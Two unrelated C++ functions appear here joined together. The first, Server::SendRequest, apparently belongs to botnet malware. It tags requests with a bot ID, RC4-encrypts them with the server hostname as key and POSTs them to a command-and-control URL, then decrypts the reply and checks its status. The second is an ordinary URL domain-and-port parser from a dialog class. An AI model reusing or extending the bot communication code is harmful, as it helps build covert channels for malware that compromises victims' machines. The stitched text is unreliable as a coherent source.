PCHAR Server::SendRequest(PCHAR ServerUrl, DWORD Type, PCHAR Request, DWORD RequestLen, BOOLEAN Wait, PDWORD Size, PBOOLEAN pbok) { PVOID Result = NULL; WINET_LOADURL LoadUrl = {0}; PCHAR BotId = Drop::GetBotID(); CHAR chHost[MAX_PATH] = {0}; DWORD dwHost = RTL_NUMBER_OF(chHost)-1; PCHAR FullRequest; *pbok = FALSE; if (FullRequest = (PCHAR)malloc(RequestLen + 100)) { DWORD Len = _snprintf(FullRequest, RequestLen + 100, "%s|%d|", Drop::GetBotID(), Type); CopyMemory(FullRequest + Len, Request, RequestLen); Len += RequestLen; LoadUrl.pcMethod = "POST"; LoadUrl.pcUrl = ServerUrl; if (SUCCEEDED(UrlGetPart(ServerUrl, chHost, &dwHost, URL_PART_HOSTNAME, 0))) { LoadUrl.dwPstData = Len; if (LoadUrl.pvPstData = Utils::UtiCryptRc4M(chHost, dwHost, FullRequest, Len)) { LoadUrl.dwRetry = Config::ReadInt(CFG_DCT_MAIN_SECTION, CFG_DCT_MAIN_SRVRETRY); PVOID Buffer = Wait ? WinetLoadUrlWait(&LoadUrl, 2*60) : WinetLoadUrl(&LoadUrl); if (Buffer) { Utils::UtiCryptRc4(BotId, lstrlen(BotId), Buffer, Buffer, LoadUrl.dwBuffer); if (RtlEqualMemory(Buffer, "OK\r\n", 4)) { *pbok = TRUE; if (LoadUrl.dwBuffer > 4) { if (Result = malloc(LoadUrl.dwBuffer - 3)) { CopyMemory(Result, (PCHAR)Buffer + 4, LoadUrl.dwBuffer - 4); ((PCHAR)Result)[LoadUrl.dwBuffer - 4] = 0; if (Size) *Size = LoadUrl.dwBuffer - 4; } } } free(Buffer); } free(LoadUrl.pvPstData); } } free(FullRequest); } return (PCHAR)Result; }
BOOL CMainDlg::GetDomainAndPortFromUrl(LPCTSTR strUrl, LPTSTR strDomain, INTERNET_PORT &nServerPort) { ATLASSERT(strUrl); const int PORT_MAX_LENGTH = 5; TCHAR szPort[PORT_MAX_LENGTH]; DWORD dwPort = PORT_MAX_LENGTH; HRESULT hPort = UrlGetPart(strUrl, szPort, &dwPort, URL_PART_PORT, NULL); if (hPort != S_OK) { nServerPort = INTERNET_DEFAULT_HTTP_PORT; if( wcsnicmp(strUrl, URL_PROTOCOL_HTTPS, wcslen(URL_PROTOCOL_HTTPS)) == 0) { nServerPort = INTERNET_DEFAULT_HTTPS_PORT; } } else { nServerPort = static_cast<INTERNET_PORT>(_wtol(szPort)); ATLASSERT(nServerPort != 0); if (nServerPort == 0) { nServerPort = INTERNET_DEFAULT_HTTP_PORT; } } DWORD dwlen = static_cast<DWORD>(wcslen(strDomain)); HRESULT hDomain = UrlGetPart(strUrl, strDomain, &dwlen, URL_PART_HOSTNAME, NULL); if (hDomain != S_OK) { return FALSE; } return TRUE; }